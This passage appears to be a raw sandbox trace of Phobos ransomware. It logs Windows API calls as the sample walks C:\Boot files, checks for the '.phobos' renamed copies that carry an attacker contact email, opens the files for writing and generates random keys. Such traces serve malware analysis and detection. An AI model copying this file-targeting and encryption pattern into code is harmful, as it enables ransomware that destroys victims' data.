hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=42904) returned 1 [0056.726] CloseHandle (hObject=0x32c) returned 1 [0056.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0056.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.726] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.726] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.726] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.726] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=66912) returned 1 [0056.726] CloseHandle (hObject=0x32c) returned 1 [0056.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0056.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.726] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.726] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.726] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.726] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=42912) returned 1 [0056.726] CloseHandle (hObject=0x32c) returned 1 [0056.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0056.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.727] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.727] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.727] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.727] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=75616) returned 1 [0056.727] CloseHandle (hObject=0x32c) returned 1 [0056.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0056.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.727] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.727] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.727] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.727] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=75608) returned 1 [0056.727] CloseHandle (hObject=0x32c) returned 1 [0056.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0056.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.728] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.728] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.728] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.728] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=811936) returned 1 [0056.728] CloseHandle (hObject=0x32c) returned 1 [0056.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0056.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\memtest.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.728] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.728] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.728] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.728] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=75616) returned 1 [0056.728] CloseHandle (hObject=0x32c) returned 1 [0056.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0056.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.729] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.729] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.729] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.729] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45472) returned 1 [0056.729] CloseHandle (hObject=0x32c) returned 1 [0056.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0056.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.729] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.729] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.729] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.729] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=78176) returned 1 [0056.729] CloseHandle (hObject=0x32c) returned 1 [0056.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0056.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.730] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.730] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.730] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.730] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45472) returned 1 [0056.730] CloseHandle (hObject=0x32c) returned 1 [0056.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0056.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.730] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.730] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.730] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.730] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=77656) returned 1 [0056.730] CloseHandle (hObject=0x32c) returned 1 [0056.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0056.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.730] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.731] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.731] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45984) returned 1 [0056.731] CloseHandle (hObject=0x32c) returned 1 [0056.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0056.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.731] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.731] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=76640) returned 1 [0056.731] CloseHandle (hObject=0x32c) returned 1 [0056.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0056.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.731] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.732] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.732] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45472) returned 1 [0056.732] CloseHandle (hObject=0x32c) returned 1 [0056.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0056.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.732] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.732] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.732] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.732] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=76640) returned 1 [0056.732] CloseHandle (hObject=0x32c) returned 1 [0056.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0056.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.732] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.732] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.733] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.733] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45984) returned 1 [0056.733] CloseHandle (hObject=0x32c) returned 1 [0056.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0056.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.733] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.733] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.733] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.733] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=74080) returned 1 [0056.733] CloseHandle (hObject=0x32c) returned 1 [0056.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0056.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.733] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.733] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.733] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.734] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=54168) returned 1 [0056.734] CloseHandle (hObject=0x32c) returned 1 [0056.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0056.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.734] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.734] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.734] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.734] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=92576) returned 1 [0056.734] CloseHandle (hObject=0x32c) returned 1 [0056.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0056.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.735] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.735] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.735] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.735] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=12192) returned 1 [0056.735] CloseHandle (hObject=0x32c) returned 1 [0056.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0056.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.735] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: 